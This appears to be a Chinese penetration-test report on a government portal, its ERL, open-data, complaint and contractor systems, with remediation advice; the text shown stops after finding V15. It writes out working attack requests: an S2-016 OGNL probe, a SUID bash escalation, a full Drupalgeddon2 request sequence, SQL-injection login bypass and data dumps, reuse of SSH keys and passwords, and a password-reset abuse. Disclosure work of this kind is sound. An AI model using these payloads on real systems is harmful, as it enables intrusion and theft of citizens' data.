![图片[1]-【实战】对某一国gov主站的授权渗透测试-阻击者联盟](https://blog.h-acker.cn/wp-content/uploads/2026/10/135e5a469320261029180805.jpg)
受相关方邀请,对某一国gov主站及其关联业务系统开展授权安全评估,以验证政府门户、业务系统和内网边界在真实攻击条件下的防护能力。评估以非破坏性验证为原则,对生产数据仅做证明危害所需的最小必要读取,未执行删除、破坏性写入或影响业务连续性的操作。
本次共确认16项具有实际控制或明确数据影响的漏洞与风险,其中严重6项、高危8项、中危2项。风险由老旧组件、SUID配置错误、系统口令与SSH私钥跨主机复用、Web目录备份泄露、SQL注入和可预测默认口令共同形成。
攻击链最终导致www.gov.xxx真实后端取得root权限、ERL应用主机取得root权限、前置代理取得命令执行权限,并可读写承载主站及OAuth数据的关键MySQL实例;投诉管理系统和承包商管理系统也分别被后台接管。
本文对评估过程、漏洞证据、业务影响和修复建议进行统一复盘。所有域名、网络地址、人员信息、账号、口令、哈希与业务标识均已脱敏,技术内容仅用于授权安全评估、防御建设和风险治理。
一、评估范围
1.1 资产范围
|
域名或入口
|
角色
|
网络位置
|
关键技术栈
|
|---|---|---|---|
|
www.gov.xxx
|
主站公网入口
|
F5 BIG-IP VIP
|
F5 ASM/APM、Apache反代
|
|
www.gov.xxx
|
主站前置代理
|
192.168.xxx.10
|
Ubuntu 20.04、Apache 2.4.41、OpenSSH 8.2p1
|
|
www.gov.xxx
|
真实Laravel后端
|
192.168.xxx.20
|
Ubuntu 20.04、Laravel 8.83.27、PHP 8.2.35
|
|
www.gov.xxx/services/erl/
|
ERL电子业务平台
|
192.168.xxx.80
|
Tomcat 6.0.35、Struts 2.1.2
|
|
data.gov.xxx
|
开放数据门户
|
192.168.xxx.40
|
Drupal 7、DKAN 1.12.11、Apache 2.4.53、PHP
|
|
c********.s****.gov.xxx
|
投诉管理系统
|
198.x.x.x1
|
nginx 1.18.0、PHP、MySQL 8.0.46
|
|
m****.e******.n*.gov.xxx
|
承包商管理系统
|
198.x.x.x2
|
cPanel/LiteSpeed、PHP、MariaDB 10.11.19
|
1.2 评估结果概述
本次评估共确认16项具有实际控制或明确数据影响的漏洞与风险,其中严重6项、高危8项、中危2项。主要结果集中在未认证远程代码执行、主机提权、凭据复用、内网横向移动和业务后台接管。
-
ERL业务平台存在Struts2未认证RCE,随后利用SUID-root程序取得应用主机root权限。
-
开放数据门户存在Drupalgeddon2未认证RCE,可作为进入内网的独立跳板。
-
系统口令与SSH私钥跨主机复用,使前置代理获得命令执行权限,并使主站真实后端取得root权限。
-
主站数据库账号可跨库读写,影响主站、OAuth及其他站点数据。
-
投诉管理系统后台被接管,可读取用户与投诉数据;承包商管理系统同样被接管,并存在任意可写目录文件写入。
1.3 漏洞清单
|
编号
|
站点
|
漏洞名称
|
等级
|
CVSS3.1
|
利用状态
|
|---|---|---|---|---|---|
|
V01
|
www.gov.xxx
|
ERL应用Struts2 S2-016远程代码执行
|
严重
|
9.8
|
已实际利用
|
|
V02
|
www.gov.xxx
|
ERL主机SUID-root bash本地提权
|
严重
|
7.8
|
已实际利用
|
|
V03
|
www.gov.xxx
|
支付网关与密钥库明文凭据泄露
|
高危
|
8.1
|
已实际读取
|
|
V04
|
www.gov.xxx
|
SSH私钥跨主机复用导致前置代理命令执行
|
高危
|
8.8
|
已实际利用
|
|
V05
|
www.gov.xxx
|
系统口令复用导致主站后端root
|
严重
|
9.1
|
已实际利用
|
|
V06
|
www.gov.xxx
|
主站数据库弱口令与多库读写
|
高危
|
8.1
|
已实际利用
|
|
V07
|
data.gov.xxx
|
Drupalgeddon2未认证远程代码执行
|
严重
|
9.8
|
已实际利用
|
|
V08
|
c********.s****.gov.xxx
|
后台登录SQL注入导致认证绕过
|
严重
|
9.8
|
已实际利用
|
|
V09
|
c********.s****.gov.xxx
|
complaint-details.php参数SQL注入
|
高危
|
8.6
|
已实际利用
|
|
V10
|
c********.s****.gov.xxx
|
user-search.php参数SQL注入
|
高危
|
8.6
|
已实际利用
|
|
V11
|
c********.s****.gov.xxx
|
未授权密码重置
|
中危
|
6.5
|
已实际利用
|
|
V12
|
c********.s****.gov.xxx
|
数据库导出文件未授权下载
|
高危
|
8.2
|
已实际利用
|
|
V13
|
m****.e******.n*.gov.xxx
|
源码备份泄露与数据库凭据暴露
|
高危
|
8.2
|
已实际下载并解析
|
|
V14
|
m****.e******.n*.gov.xxx
|
project-invoice参数SQL注入
|
严重
|
8.8
|
已实际利用
|
|
V15
|
m****.e******.n*.gov.xxx
|
承包商默认口令等于注册号
|
高危
|
8.1
|
已实际利用
|
|
V16
|
m****.e******.n*.gov.xxx
|
news_img路径穿越任意文件写入
|
中危
|
5.4
|
已实际利用
|
二、攻击面与总体攻击链
![图片[2]-【实战】对某一国gov主站的授权渗透测试-阻击者联盟](https://blog.h-acker.cn/wp-content/uploads/2026/10/751d6be20320261029180806.jpg)
图1:公网攻击面与内网资产拓扑
2.1 入口与路由
公开资产主要经由F5 BIG-IP进入。主域名承载Laravel主站,data.gov.xxx指向开放数据门户,投诉管理、承包商管理和ERL业务平台分别由独立应用或路径暴露。边界入口、反向代理与内部应用虽然分层部署,但权限和信任关系并未完全隔离。
2.2 核心资产关系
|
资产
|
地址
|
角色
|
主要风险
|
|---|---|---|---|
|
前置代理
|
192.168.xxx.10
|
Apache反向代理
|
共享私钥可登录,账号属于sudo组
|
|
主站后端
|
192.168.xxx.20
|
Laravel生产服务器
|
系统口令复用,可取得root
|
|
ERL主机
|
192.168.xxx.80
|
Tomcat与Struts2
|
未认证RCE,SUID-root提权
|
|
主站数据库
|
192.168.xxx.30
|
多站点共用MySQL
|
弱口令,可跨库读写
|
|
开放数据主机
|
192.168.xxx.40
|
Drupal门户
|
未认证RCE,可作内网跳板
|
|
数据平台库
|
192.168.xxx.50
|
开放数据MySQL
|
与开放数据业务关联
|
|
内部数据库
|
192.168.xxx.60
|
MySQL
|
共享SSH私钥可登录
|
|
内部同步主机
|
192.168.xxx.70
|
数据同步
|
共享SSH私钥可登录
|
2.3 两条攻击路径
第一条路径以ERL应用为入口:
公网ERL入口
→Struts2 S2-016未认证RCE
→tomcat低权限命令执行
→SUID-root bash提权
→读取支付配置、系统哈希、JKS与SSH私钥
→登录前置代理和内部主机
→主站后端root
→主站与OAuth数据库读写
第二条路径以开放数据门户为入口:
data.gov.xxx Drupalgeddon2
→www-data命令执行
→访问192.168.xxx.0/24
→前置代理、主站后端与数据库
→与第一条路径汇合
两条路径最终汇聚到同一组核心资产:192.168.xxx.10前置代理、192.168.xxx.20主站后端和192.168.xxx.30主站数据库。这说明风险治理不能只修复单一入口,必须同时处理边界路由、身份凭据、主机配置和应用漏洞。
![图片[3]-【实战】对某一国gov主站的授权渗透测试-阻击者联盟](https://blog.h-acker.cn/wp-content/uploads/2026/10/9de185a4b620261029180808.jpg)
图2:双入口攻击链汇合路径
三、www.gov.xxx漏洞详情
3.1 V01:ERL应用Struts2 S2-016远程代码执行
|
项目
|
内容
|
|---|---|
|
受影响URL
|
https://www.gov.xxx/services/erl/es/erl/view/index.action
|
|
受影响主机
|
192.168.xxx.80
|
|
组件
|
Apache Tomcat 6.0.35、Struts 2.1.2
|
|
漏洞类型
|
OGNL注入与远程代码执行
|
|
等级与CVSS
|
严重,9.8
|
|
利用条件
|
未认证
|
|
利用状态
|
已执行命令,取得tomcat权限
|
ERL应用通过主站/services/erl/路径直接暴露。Struts 2.1.2的DefaultActionMapper在处理以redirect:或action:开头的参数名时,会将参数值交给OGNL求值。由于表达式执行范围未受限制,可调用Java运行时API,通过ProcessBuilder启动系统进程。
先发送以下请求验证表达式求值:
curl -sk -D - 'https://www.gov.xxx/services/erl/es/erl/view/index.action?redirect:%24%7B1%2B1%7D'
响应为302,Location字段包含:
http://192.168.xxx.80:8080/erl/view/2
这一结果同时证明OGNL表达式被执行,并泄露ERL内部回源地址。随后通过ProcessBuilder执行id,返回:
uid=1002(tomcat) gid=1002(tomcat) groups=1002(tomcat)
完整URL过长,下面将端点、参数名和参数值拆开表示;实际参数值是一段URL编码后的OGNL表达式,其中通过ProcessBuilder启动系统进程。
endpoint='https://www.gov.xxx/services/erl/es/erl/view/index.action'
parameter='redirect'
value='<URL编码后的OGNL表达式>'
curl -sk "${endpoint}?${parameter}:${value}"
该表达式执行id时返回tomcat用户身份,说明攻击者已从请求解析阶段进入操作系统命令执行阶段。将命令替换为whoami、hostname或文件读取命令,即可进一步确认主机边界与可访问资源。
该漏洞无需登录、CSRF令牌或初始凭据。虽然命令执行权限为tomcat,但主机上存在SUID-root文件,且可读取支付配置、源码、密钥库和部署用户目录,因此可迅速升级为主机完全失陷。
修复时应升级Struts2至受支持安全版本;短期内若无法升级,应禁用DynamicMethodInvocation,拦截redirect:、action:、${和%24%7B等参数特征,并在F5/WAF增加S2-016规则。ERL应用不应直接暴露在主站路径下,Tomcat运行用户也不应读取支付配置、密钥库和部署用户源码。
3.2 V02:SUID-root bash本地提权
|
项目
|
内容
|
|---|---|
|
受影响主机
|
192.168.xxx.80
|
|
受影响文件
|
/usr/bin/bash2
|
|
漏洞类型
|
SUID配置错误
|
|
等级与CVSS
|
严重,7.8
|
|
利用条件
|
取得任意本地低权限命令执行
|
|
利用状态
|
已取得euid=0(root)
|
主机上存在SUID-root文件/usr/bin/bash2,权限为-rwsr-xr-x,属主和属组均为root。文件与/bin/bash的MD5一致:
MD5(/usr/bin/bash2)=[哈希已脱敏]
MD5(/bin/bash)=[哈希已脱敏]
Linux的SUID位使程序以文件属主权限运行。bash在使用-p参数时不会主动降低特权,因此任意本地用户可直接执行:
/usr/bin/bash2 -p -c 'id'
返回:
uid=1002(tomcat) gid=1002(tomcat) euid=0(root) groups=1002(tomcat)
读取/etc/shadow后获得包括以下系统账号在内的口令哈希:
root:[哈希已脱敏]
deploy-x:[哈希已脱敏]
ops-x:[哈希已脱敏]
应执行chmod u-s /usr/bin/bash2并确认文件是否仍被业务依赖,同时审计全系统SUID/SGID文件,使用文件完整性监控监测权限变化。完成取证后应重建受影响主机,并轮换支付网关、JKS、SSH和系统账号全部凭据。
3.3 V03:支付网关与密钥库明文凭据泄露
|
项目
|
内容
|
|---|---|
|
受影响主机
|
192.168.xxx.80
|
|
受影响组件
|
ERL配置、JKS密钥库、部署用户工作区
|
|
漏洞类型
|
敏感信息明文存储
|
|
等级与CVSS
|
高危,8.1
|
|
利用条件
|
已取得主机命令执行或文件读取权限
|
|
利用状态
|
已读取凭据和密钥库
|
ERL支付配置以明文保存PayGW政府支付网关凭据:
payment.gateway.clientpassword=********
payment.gateway.lgpspassword=********
e-services-configuration.properties中保存:
trust_store_password=********
部署用户/home/deploy-x的keys和newkey目录中存在以下密钥库:
paygw-key.jks
client-key.jks
erl-sign.jks
erl-trust.jks
app-cert.crt
cacerts
同时存在约49MB的ERL全量源码备份erl-source-backup.tar.gz,以及/opt/erl_new与/opt/erl_old_bk目录。系统级/etc/keys权限为drwxrwxrwx,其下/etc/keys/0001包含app-test.crt、ts.jks、erl-test.jks等测试证书,任意本地用户均可读取或替换。
部署与运维用户的bash历史还包含大量keytool命令:
keytool -genkey -alias service.erl.gov.xxx -keyalg RSA -keysize 2048 -keypass ******** -storepass ******** -keystore paygw-key.jks
上述信息可冒充ERL应用调用支付接口、打开或替换JKS签名密钥、伪造业务报文,并通过源码备份获知更多接口与内网地址。应立即轮换支付网关客户端口令、JKS口令和相关系统账号口令,迁移至HSM或密钥管理服务,并对JKS实施访问控制与操作审计。Web运行用户不得读取密钥库,源码备份应移出生产主机。
3.4 V04:SSH私钥跨主机复用导致前置代理命令执行
|
项目
|
内容
|
|---|---|
|
受影响主机
|
192.168.xxx.10、192.168.xxx.60、192.168.xxx.70
|
|
凭据来源
|
192.168.xxx.80
|
|
受影响账号
|
ops-x、deploy-x
|
|
漏洞类型
|
SSH私钥跨主机与跨账号复用
|
|
等级与CVSS
|
高危,8.8
|
|
利用条件
|
已取得ERL主机root或私钥读取权限
|
|
利用状态
|
已登录三台目标主机
|
ERL主机部署用户deploy-x与运维用户ops-x使用同一把3072位RSA私钥,文件为:
/home/deploy-x/.ssh/id_rsa
/home/ops-x/.ssh/id_rsa
两个文件内容一致,MD5为:
[哈希已脱敏]
该私钥被授权到以下目标:
ssh -i /home/deploy-x/id_rsa -o BatchMode=yes -o StrictHostKeyChecking=no ops-x@192.168.xxx.10
ssh -i /home/deploy-x/id_rsa -o BatchMode=yes -o StrictHostKeyChecking=no ops-x@192.168.xxx.60
ssh -i /home/deploy-x/id_rsa -o BatchMode=yes -o StrictHostKeyChecking=no ops-x@192.168.xxx.70
登录192.168.xxx.10后确认:
uid=1001(ops-x) gid=1003(ops-x) groups=1003(ops-x),27(sudo)
hostname: proxy-host
前置代理Apache配置将gov.xxx与www.gov.xxx流量转发到https://192.168.xxx.20/,将/elaws/wordpress转发到192.168.xxx.90,将/staging转发到192.168.xxx.100,并将ERL转发到内部地址。控制该主机后可修改路由、植入代理规则、监听或篡改经过的流量。
应立即吊销共享私钥并重新为每台主机和每个账号签发独立密钥,清理192.168.xxx.80、192.168.xxx.10、192.168.xxx.60和192.168.xxx.70上的authorized_keys条目。SSH应改用CA签发的短期证书、堡垒机或MFA,禁止运维账号直接暴露在生产主机。
3.5 V05:系统口令复用导致主站后端root
|
项目
|
内容
|
|---|---|
|
受影响主机
|
192.168.xxx.20、192.168.xxx.40
|
|
受影响账号
|
deploy-x
|
|
漏洞类型
|
系统口令复用与权限提升
|
|
等级与CVSS
|
严重,9.1
|
|
利用条件
|
已取得ERL配置读取或root权限
|
|
利用状态
|
已取得主站后端root
|
ERL配置和命令历史中的口令********同时是deploy-x系统账号口令。通过/etc/shadow中的SHA-512哈希可进一步确认两者一致。使用该口令成功SSH登录192.168.xxx.20,账号属于sudo组:
ssh deploy-x@192.168.xxx.20
echo '********' | sudo -S -p '' bash -c 'id; hostname; hostname -I'
返回:
uid=0(root) gid=0(root) groups=0(root)
app-host-a
192.168.xxx.20
同一口令还可登录开放数据主机192.168.xxx.40的deploy-x账号。主站后端上可读写以下生产与应用目录:
/var/www/html/main_app
/var/www/html/main_app_staging
/var/www/html/admin_app
/var/www/html/main_app_old
可读取的主站配置与备份包括:
/var/www/html/main_app/.env
/home/deploy-x/main_db_dump.sql
/home/deploy-x/main_src.zip
/root/.mysql_history
/root/.bash_history
生产.env中的关键配置为:
APP_ENV=production
APP_KEY=base64:********
DB_HOST=192.168.xxx.30
DB_PORT=3306
DB_DATABASE=main_db
DB_USERNAME=db-x
DB_PASSWORD=********
主站库导出文件main_db_dump.sql约373KB,源码压缩包main_src.zip约34MB。root权限意味着生产代码、管理后台、staging环境、旧版本代码、APP_KEY和数据库凭据均可被读取或篡改,可植入webshell、修改业务逻辑、删除数据或建立持久化。
应修改deploy-x及所有复用该口令的账号,禁止系统账号与业务配置共用口令,拆分运维账号并按最小权限授予sudo。APP_KEY、数据库凭据、支付网关口令和JKS口令均需轮换,并对受影响主机执行文件完整性、webshell、crontab和systemd持久化排查。
3.6 V06:主站数据库弱口令与多库读写
|
项目
|
内容
|
|---|---|
|
数据库
|
192.168.xxx.30:3306,MySQL 5.5.56-log
|
|
入口主机
|
192.168.xxx.20
|
|
受影响账号
|
db-x
|
|
漏洞类型
|
数据库弱口令与跨库权限失控
|
|
等级与CVSS
|
高危,8.1
|
|
利用条件
|
取得主站后端文件读取或内网访问权限
|
|
利用状态
|
已读写多库
|
主站.env中明文保存数据库凭据db-x/********。使用该凭据连接数据库:
mysql -h 192.168.xxx.30 -u db-x -p******** -e "select version(); show databases;"
确认数据库版本与可见库:
5.5.56-log
information_schema
web_logs
wrapper_db
main_db
info_db
mysql
oauth_db
performance_schema
phpbb
test
wordpress
db-x账号不仅可访问main_db主站库,还可访问oauth_db认证与令牌库、wordpress、phpbb、wrapper_db等站点库,以及web_logs日志库。该权限可用于批量导出公民数据、篡改网站内容、读取OAuth客户端和授权数据,并分析管理员来源地址与业务接口。
MySQL版本5.5.56已停止维护,数据库也没有按应用实施库级隔离。应修改db-x账号口令,按应用和库拆分账号,只授予业务所需的SELECT、INSERT、UPDATE权限,禁止DROP、FILE、PROCESS等高危权限,并限制数据库监听地址与来源网段。OAuth库还需单独加密、审计并轮换客户端密钥与令牌签名密钥。
四、data.gov.xxx漏洞详情
4.1 V07:Drupalgeddon2未认证远程代码执行
|
项目
|
内容
|
|---|---|
|
受影响URL
|
https://data.gov.xxx/member/password
|
|
受影响主机
|
192.168.xxx.40
|
|
组件
|
Drupal 7低于7.58、DKAN 1.12.11、Apache 2.4.53、PHP
|
|
漏洞类型
|
未认证远程代码执行
|
|
等级与CVSS
|
严重,9.8
|
|
利用条件
|
未认证
|
|
利用状态
|
已取得www-data命令执行
|
data.gov.xxx运行未修补的Drupal 7核心,采用DKAN 1.12.11分发。Drupal 7表单API对用户可控的#post_render与#markup属性过滤不足。攻击者可在user_pass表单中注入数组键,使Drupal渲染表单时调用passthru等PHP函数并执行系统命令。
利用时先请求/member/password获取form_build_id:
curl -sk -c cookies.txt 'https://data.gov.xxx/member/password' -o step1.html
本次实测的form_build_id为:
form-KLLsnuujTYFmqgOguBmCgS_3vh55rx0DxIz-OMNDgp8
提交带#post_render的请求:
POST /member/password?name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id HTTP/1.1
Host: data.gov.xxx
Content-Type: application/x-www-form-urlencoded
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&form_build_id=form-KLLsnuujTYFmqgOguBmCgS_3vh55rx0DxIz-OMNDgp8
随后通过form_build_id触发渲染:
POST /file/ajax/name/%23value/form-KLLsnuujTYFmqgOguBmCgS_3vh55rx0DxIz-OMNDgp8 HTTP/1.1
Host: data.gov.xxx
Content-Type: application/x-www-form-urlencoded
form_build_id=form-KLLsnuujTYFmqgOguBmCgS_3vh55rx0DxIz-OMNDgp8
响应返回:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami返回www-data。F5 ASM未拦截该路径。该主机可访问192.168.xxx.0/24,包括192.168.xxx.10:80、192.168.xxx.20:22和192.168.xxx.30:3306,因此成为进入内网的关键跳板。主机上还保存Drupal配置、旧站备份、SMTP凭据、Drupal密钥与数据库账号。
应立即升级Drupal至7.58以上或迁移到受支持版本,应用SA-CORE-2018-002补丁,在WAF拦截#post_render、#markup和/file/ajax/name/%23value/等特征。运行用户应实施最小权限,禁止读取敏感配置与访问不必要内网服务,并轮换Drupal数据库账号、SMTP凭据、Drupal密钥和相关系统口令。
完成主机取证前应按已失陷节点处理。
五、c********.s****.gov.xxx漏洞详情
5.1 V08:后台登录SQL注入导致认证绕过
|
项目
|
内容
|
|---|---|
|
受影响URL
|
https://c********.s****.gov.xxx/admin/index.php
|
|
受影响参数
|
username
|
|
环境
|
nginx 1.18.0、PHP、MySQL 8.0.46
|
|
漏洞类型
|
SQL注入与认证绕过
|
|
等级与CVSS
|
严重,9.8
|
|
利用条件
|
未认证
|
|
利用状态
|
已取得管理员会话
|
后台登录接口未对username参数使用参数化查询。提交以下请求:
curl -sk -i -c cookies.txt -X POST 'https://c********.s****.gov.xxx/admin/index.php' \
--data-urlencode "username=' OR 1=1 -- -" \
--data-urlencode 'password=x' \
--data-urlencode 'submit=1'
应用返回:
HTTP/1.1 302 Found
Location: dashboard.php
Set-Cookie: PHPSESSID=********
username中的单引号闭合字符串,OR 1=1使条件恒真,-- -注释后续口令校验。使用返回的PHPSESSID访问后台:
GET /admin/dashboard.php HTTP/1.1
Host: c********.s****.gov.xxx
Cookie: PHPSESSID=********
响应200,页面标题为CMS Admin Panel,显示管理员A,邮箱admin-a@example.xxx。all-complaint.php返回约160KB内容,包含约170条投诉记录;admin-profile.php泄露管理员用户名、电话与邮箱。
该漏洞使未认证攻击者直接取得后台管理能力,可读取公民姓名、联系方式与投诉内容,并为同系统的cid注入、search注入、密码重置与数据库导出问题提供会话入口。应使用参数化查询或ORM绑定,统一登录失败提示,为后台增加MFA、限速、验证码和异常告警,轮换全部管理员口令并使现有会话失效。
5.2 V09:complaint-details.php参数SQL注入
|
项目
|
内容
|
|---|---|
|
受影响URL
|
https://c********.s****.gov.xxx/admin/complaint-details.php?cid=1
|
|
受影响参数
|
cid
|
|
数据库
|
MySQL 8.0.46,账号db-user-x@localhost
|
|
漏洞类型
|
SQL注入
|
|
等级与CVSS
|
高危,8.6
|
|
利用条件
|
需后台会话
|
|
利用状态
|
已读取全库17张表
|
cid参数直接拼接到投诉详情查询。布尔测试中,cid=1 AND 1=1返回正常详情,cid=1 AND 1=2返回空记录;时间测试中,cid=1 AND SLEEP(5)产生约5秒延迟;UNION测试确认查询共24列。
数据库指纹与权限信息为:
VERSION():8.0.46
USER():db-user-x@localhost
@@secure_file_priv:/var/lib/mysql-files
数据规模如下:
users:约2500
complaints:约170
admin:4
tables:17
24列UNION请求示例:
curl -sk -b cookies.txt --get \
'https://c********.s****.gov.xxx/admin/complaint-details.php' \
--data-urlencode 'cid=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- -'
使用–get与–data-urlencode可避免手动拼接URL编码,也能更清楚地分辨目标端点与注入参数。24个占位值用于探测列数并定位页面回显位。
回显位可替换为username、password、name、phone和email等字段。当前账号为db-user-x@localhost,库内包含4个管理员账号与口令哈希、约2500条用户记录与约170条投诉记录。账号无FILE权限,且secure_file_priv限制为/var/lib/mysql-files,因此未取得文件写入或数据库主机命令执行。
虽然命令执行未成功,但可读取全部用户PII、投诉内容、管理员账号和数据库结构,风险仍属高危。cid应使用参数化查询并实施整数类型校验,数据库应用账号只授予所需表的最小权限,同时关闭详细数据库错误回显,并对UNION、SLEEP和information_schema访问实施检测。
5.3 V10:user-search.php参数SQL注入
|
项目
|
内容
|
|---|---|
|
受影响URL
|
https://c********.s****.gov.xxx/admin/user-search.php
|
|
受影响参数
|
search
|
|
数据库
|
MySQL 8.0.46
|
|
漏洞类型
|
SQL注入
|
|
等级与CVSS
|
高危,8.6
|
|
利用条件
|
需后台会话
|
|
利用状态
|
已批量读取约2500条用户记录
|
搜索参数被直接拼接进LIKE查询。正常搜索不存在的zzzzzz时返回空结果;提交:
search=zzzzzz' OR 1=1 -- -
接口返回约2500条用户记录,响应体约2.72MB。提交:
search=zzzzzz' AND 1=2 -- -
返回空结果,确认注入成立。请求可使用后台会话直接完成:
curl -sk -b cookies.txt -X POST 'https://c********.s****.gov.xxx/admin/user-search.php' \
--data-urlencode "search=zzzzzz' OR 1=1 -- -" \
-o users_dump.html
该注入点无需逐条盲注,一次响应即可导出姓名、手机号、邮箱等全部用户信息。应使用参数化查询,限制搜索关键词长度与通配符,加入分页和结果数量上限,对后台接口实施权限校验、频率限制与异常查询告警。
5.4 V11:未授权密码重置
|
项目
|
内容
|
|---|---|
|
受影响URL
|
https://c********.s****.gov.xxx/user/reset-password.php
|
|
受影响参数
|
email、mobileno、newpassword、confirmpassword、resetpwd
|
|
漏洞类型
|
身份校验缺陷
|
|
等级与CVSS
|
中危,6.5
|
|
利用条件
|
知道目标邮箱与登记手机号
|
|
利用状态
|
已修改测试账号口令
|
重置接口只比对邮箱和手机号是否与数据库记录匹配,不验证请求者是否控制邮箱或手机,不发送OTP,不要求原口令或一次性重置令牌。匹配后直接更新口令哈希。
使用的测试账号为test-user@example.xxx(id=xxx),登记手机号138****0000。请求:
curl -sk -i -X POST 'https://c********.s****.gov.xxx/user/reset-password.php' \
--data-urlencode 'email=test-user@example.xxx' \
--data-urlencode 'mobileno=1' \
--data-urlencode 'newpassword=********' \
--data-urlencode 'confirmpassword=********' \
--data-urlencode 'resetpwd=1'
响应包含:
<script>alert('Your Password succesfully changed');</script>
<script>document.location='index.php'</script>
重置前哈希为:
[哈希已脱敏]
重置后哈希为:
[哈希已脱敏]
后者等于md5(‘********’)。使用错误手机号139****0000时哈希不变,说明接口确实检查手机号,但手机号可通过后台SQL注入批量读取,不构成身份验证。登录流程仍要求OTP,因此未取得该账号会话,但原用户口令已被篡改,构成账号拒绝服务及潜在接管条件。
应使用一次性、有时效、不可预测的重置令牌,并验证邮箱或手机所有权;禁止仅凭邮箱与手机号修改口令;重置成功后使全部旧会话失效并通知用户;接口需增加频率限制、验证码和失败次数控制。
5.5 V12:数据库导出文件未授权下载
|
项目
|
内容
|
|---|---|
|
受影响URL
|
https://c********.s****.gov.xxx/db/db.sql
|
|
文件大小
|
约7.3KB
|
|
漏洞类型
|
敏感文件未授权访问
|
|
等级与CVSS
|
高危,8.2
|
|
利用条件
|
未认证
|
|
利用状态
|
已下载并解析
|
Web根目录下的/db/db.sql可直接下载。文件包含完整表结构、管理员账号MD5哈希、业务人员明文口令与用户表字段。管理员哈希为:
[哈希已脱敏]
对应明文:
[弱口令已脱敏]
subjectofficer表中的4组业务人员口令为:
staff-a/********
staff-b/********
staff-c/********
staff-d/********
users表还包含邮箱和手机号等PII。攻击者可结合登录SQL注入、cid与search注入、密码重置问题,完全掌握投诉系统数据与管理权限。
应立即删除Web根目录中的db.sql及同类导出、备份和源码压缩包,在Web服务器层禁止访问/db/、*.sql、*.bak、*.zip和*.tar.gz,并对数据库导出实施加密存储和访问审计。全部管理员及业务人员口令必须重置,后台应启用MFA、限速和异常告警。
六、m****.e******.n*.gov.xxx漏洞详情
6.1 V13:源码备份泄露与数据库凭据暴露
|
项目
|
内容
|
|---|---|
|
受影响URL
|
/contractx.zip、/contractx_dil.zip、/contractx_new.zip
|
|
受影响主机
|
198.x.x.x2
|
|
环境
|
cPanel/LiteSpeed、PHP、MariaDB 10.11.19-cll-lve
|
|
漏洞类型
|
源码与凭据泄露
|
|
等级与CVSS
|
高危,8.2
|
|
利用条件
|
未认证
|
|
利用状态
|
已下载并解析
|
Web根目录存在三份完整contractx源码备份,合计约21MB、1465个以上文件。解压后的backend/db/db.php明文保存:
$servername="localhost";
$username="db-user-x";
$password="********";
$dbname="contractx_db";
/contractx/backend/db/与/contractx/backend/upload/等目录开启Index of列表,可直接浏览文件名、大小与修改时间。
使用泄露凭据连接同主机3306与cPanel/FTP均失败,说明远程数据库或服务存在来源限制或口令不同。暴露事实仍已成立,且源码完整展示了project-invoice注入逻辑、news_img上传路径和registered-contractors公开列表,为同站其他攻击提供直接依据。
应立即删除三份备份及同类文件,在Web服务器层禁止访问*.zip、*.tar.gz、*.sql、*.bak和*.old,关闭敏感目录列表,轮换数据库账号db-user-x的口令,并检查是否在其他系统复用。数据库凭据应迁移至环境变量或密钥管理服务。
6.2 V14:project-invoice参数SQL注入
|
项目
|
内容
|
|---|---|
|
受影响URL
|
/contractx/user_acc/contractor/project-invoice
|
|
受影响参数
|
prj、inv
|
|
数据库
|
MariaDB 10.11.19-cll-lve,库contractx_db
|
|
漏洞类型
|
SQL注入
|
|
等级与CVSS
|
严重,8.8
|
|
利用条件
|
任意承包商账号即可,默认口令可低成本获得
|
|
利用状态
|
已读取47张表与24个管理员账号哈希
|
project-invoice共38列,第5列回显date,第10列回显payment_type。prj参数中的单个反斜杠可转义模板闭合引号,inv参数未参数化,htmlspecialchars只处理引号,不处理反斜杠与十六进制字符串。
使用公开注册号C-xxxxx登录承包商门户:
curl -sk -i -c cookies.txt -X POST 'https://m****.e******.n*.gov.xxx/contractx/functions/login_validate.php' \
--data-urlencode 'user=C-xxxxx' \
--data-urlencode 'password=********'
返回:
{"status":"ok","acc_type":"contr"}
布尔验证请求:
curl -sk -b cookies.txt 'https://m****.e******.n*.gov.xxx/contractx/user_acc/contractor/project-invoice?prj=%5C&inv=%20OR%201%3D1%20--%20-'
prj=\且inv= OR 1=1 -- -时响应约15891字节,显示Invoice No与Payment Method;inv= AND 1=2 -- -时响应约13309字节,发票区为空。ORDER BY 1至38正常,ORDER BY 39失败,确认查询共38列。
UNION读取管理员子查询如下:
(SELECT CONCAT_WS(0x3a,id,user,pass,emp_id,access,group_id) FROM user_acc_tbl ORDER BY id LIMIT 0,1)
第10列返回:
1:admin:[哈希已脱敏]:1:1:1
user_acc_tbl共24个后台管理员账号,已确认以下哈希与口令:
[哈希已脱敏]=sha256('********')
[哈希已脱敏]=sha256('********')
[哈希已脱敏]=sha256('********')
[哈希已脱敏]=sha256('********')
对应账号均使用可预测或弱口令,说明后台认证没有形成有效的口令强度门槛。
通过information_schema.tables枚举确认全库47张表。业务表主要覆盖contractor_reg、user_acc_tbl、staff_members与project_invoice等承包商账号、员工、项目和发票数据。
projects_reg、requisition、travel_expenses、bidding_docs与evaluation_reports等表还涉及项目登记、采购申请、差旅费用、投标文件和评标资料。
应参数化prj与inv,prj使用整数或严格白名单校验,数据库账号实施最小权限,关闭详细SQL错误,轮换全部管理员与数据库口令,并针对UNION、information_schema和反斜杠逃逸增加检测。
6.3 V15:承包商默认口令等于注册号
|
项目
|
内容
|
|---|---|
|
受影响URL
|
/contractx/functions/login_validate.php
|
|
受影响账号
|
全部承包商账号
|
|
漏洞类型
|
默认口令与认证缺陷
|
|
等级与CVSS
|
高危,8.1
|
|
利用条件
|
未认证,只需公开注册号
|
|
利用状态
|
已登录承包商门户
|
系统创建承包商账号时使用:
$pwd=hash('sha256',$RegID_no);
作为初始口令。登录接口对用户输入的口令计算SHA-256后与数据库中的pass字段比较,因此输入注册号本身即可通过校验。
/contractx/registered-contractors?year=YYYY无需登录即可访问,页面约92KB,公开列出注册号、承包商名称、地址、电话与邮箱。测试从2019年列表取得C-xxxxx:
curl -sk -i -c cookies.txt -X POST 'https://m****.e******.n*.gov.xxx/contractx/functions/login_validate.php' \
--data-urlencode 'user=C-xxxxx' \
--data-urlencode 'password=********'
返回:
{"status":"ok","acc_type":"contr"}
并下发PHPSESSID=********。登录后可访问项目、发票、合同与个人信息,并可进入project-invoice注入点。
